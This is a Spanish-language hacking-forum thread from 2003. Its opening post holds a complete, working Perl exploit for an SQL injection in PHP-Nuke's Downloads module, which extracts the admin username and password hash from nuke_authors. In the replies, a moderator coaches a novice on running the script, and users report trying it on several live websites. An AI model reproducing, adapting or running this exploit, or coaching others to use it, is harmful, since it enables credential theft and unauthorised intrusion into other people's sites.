elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
13 Octubre 2008, 01:03  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)  (Leído 907 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« en: 21 Diciembre 2003, 14:21 »

Código:
#!/usr/bin/perl -w
use IO::Socket;

########################################
## THIS CODE PUBLIC NOW  =)))         ##
########################################
## __________               ___ ___   ##
## \______   \__ __  ______/   |   \  ##
##  |       _/  |  \/  ___/    _    \ ##
##  |    |   \  |  /\___ \\         / ##
##  |____|_  /____//____  >\___|_  /  ##
##         \/           \/       \/   ##
########################################
## based on 'cid' sql injection vuln
## in Download module, more info about
## this vuln u can see here:
## http://rst.void.ru/texts/advisory10.htm
########################################
## work only on mysql version > 4.0
########################################
## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
## C:\>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
##
## server : 127.0.0.1
## folder : /phpnuke/
## aid    : admin
##
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] success
## [~] wait for reply...
## [+] w00t...
## [+] USER: admin
## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
##
########################################

if (@ARGV < 3)
{
print "################################################################################\n";
print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploit\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by 1dt.w0lf // r00t\@rsteam.ru // 17.09.2003\n";
print "################################################################################\n";
print " Usage:\n";
print " r57nuke-cid.pl <host> </folder/> <aid>\n";
print "\n";
print " <host> - host for attack\n";
print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no folder )\n";
print " <aid> - user aid , nick ( admin , blabla )\n";
print "################################################################################";
exit();
}

$server = $ARGV[0];
$folder = $ARGV[1];
$aid = $ARGV[2];

print "\n";
print "server : $server\n";
print "folder : $folder\n";
print "aid    : $aid\n";
print "\n";
$success = 0;
$path_download = "modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
$GET = $folder . $path_download;
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] connect failed\n";
print "[+] connected\n";
print "[~] prepare to send data...\n";
print $socket "GET $GET HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Http-Referer: http://microsoft.com\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
print "[+] success\n";
print "[~] wait for reply...\n";
while ($answer = <$socket>)
{
 #print "$answer";
 if ($answer=~/(&amp;cid=)(\w)(\"><b>)($aid)(<\/b><\/a><\/font>)(.{0,20})(<font class=\"content\">)(.{32})(<\/font>)/)
 {
 $success = 1;
 print "[+] w00t...\n";
 print "[+] USER: $1 \n[+] MD5 HASH: $6\n";
 }
}
if ($success == 0) { print "[-] exploit failed =(\n"; }
En línea
vicecity

Desconectado Desconectado

Mensajes: 908



Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #1 en: 21 Diciembre 2003, 15:24 »

para que es ???????????????????????????
es que no entiendo el lenguage de esa website.
Se que es para sacar el password del admin de un server corriendo php nuke pero......................... cuales son vulnerables etc........
En línea
®®
Colaborador

Desconectado Desconectado

Mensajes: 5.270


Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #2 en: 21 Diciembre 2003, 15:41 »

Citar
work only on mysql version > 4.0
########################################
## tested on PHP-Nuke versions: 6.9, 6.0, 6.5

si solo lees los titulos........
En línea
Kerber0

Desconectado Desconectado

Mensajes: 102

Yo me Amo!


Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #3 en: 21 Diciembre 2003, 20:17 »

Hola muchachos, les comento yo tengo el ActivePerl, pero la verdad no se como usarlo ...

Para compilar el exploit, como tengo que hacer?

Gracias  ;D
En línea

Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #4 en: 21 Diciembre 2003, 22:38 »

En línea
Kerber0

Desconectado Desconectado

Mensajes: 102

Yo me Amo!


Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #5 en: 21 Diciembre 2003, 22:50 »

Gracias maestro, ahora:
"Los que estan en perl (exploit.pl) se lanzan, tanto en msdos como en linux:

perl exploit.pl <parametros> <parametros>"

el exploit.pl lo tengo q colocar en alguna carpeta especial para que compile ? porque al ejecutar el ms-dos y tipear perl exploit.pl (en la carpeta del exploit) me da comando o nombre de arhivo....

hay algo q debo hacer antes?
En línea

Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #6 en: 21 Diciembre 2003, 22:57 »

Vamos a ver, vamos a ver....

Todo el codigo lo metes en un archivo llamado exploit.pl. Si kieres, primero lo creas con el bloc de notas, metes el codigo, y lo renombras a exploit.pl... lo pones en la carpeta que kieras, y desde msdos, lo lanzas con perl....

Si no te funciona, es porque tiene que ser lanzado obligatoriamente en linux.

Pero creo casi al 100% que te debe funcionar perfectamente con el Active Perl
En línea
Kerber0

Desconectado Desconectado

Mensajes: 102

Yo me Amo!


Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #7 en: 22 Diciembre 2003, 14:54 »

Ya esta, lo que yo tenia era el source, pero ya esta.

Muchas gracias Rojodos ;D
En línea

dxr
Colaborador

Desconectado Desconectado

Mensajes: 2.568



Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #8 en: 23 Diciembre 2003, 10:22 »

nose yo.. pero lo probe justo cuando sacaron el exploit y juraria q la injeccion esta mal xq no funcionaba.... en ninguno de los muchos q probe....
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
Kerber0

Desconectado Desconectado

Mensajes: 102

Yo me Amo!


Ver Perfil
Re:PHP-NUKE version <= 6.9 'cid' sql injection exploit (Perl)
« Respuesta #9 en: 23 Diciembre 2003, 16:39 »

nose yo.. pero lo probe justo cuando sacaron el exploit y juraria q la injeccion esta mal xq no funcionaba.... en ninguno de los muchos q probe....
Lo probe en varias web y nada..
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC